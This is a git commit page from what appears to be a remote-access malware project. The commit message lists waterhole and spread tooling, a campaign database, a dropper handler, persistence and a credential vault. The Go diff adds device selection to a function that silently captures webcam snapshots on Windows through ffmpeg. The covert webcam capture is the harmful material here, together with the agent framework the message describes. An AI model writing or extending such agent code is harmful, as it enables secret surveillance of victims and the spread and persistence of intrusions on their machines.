feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -8,10 +8,10 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
func handleCameraAction(action, device string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureWindowsCameraJPEG()
|
||||
raw, err := captureWindowsCameraJPEG(strings.TrimSpace(device))
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
@@ -53,7 +53,7 @@ func listWindowsCameraDevices() ([]string, error) {
|
||||
return parseDShowVideoDevices(string(out)), nil
|
||||
}
|
||||
|
||||
func captureWindowsCameraJPEG() ([]byte, error) {
|
||||
func captureWindowsCameraJPEG(preferred string) ([]byte, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -66,6 +66,14 @@ func captureWindowsCameraJPEG() ([]byte, error) {
|
||||
return nil, fmt.Errorf("no video capture devices found")
|
||||
}
|
||||
device := devs[0]
|
||||
if preferred != "" {
|
||||
for _, d := range devs {
|
||||
if d == preferred {
|
||||
device = d
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
out, err := silentCombinedOutput(ff,
|
||||
"-hide_banner", "-loglevel", "error",
|
||||
"-f", "dshow",
|
||||
|
||||
Reference in New Issue
Block a user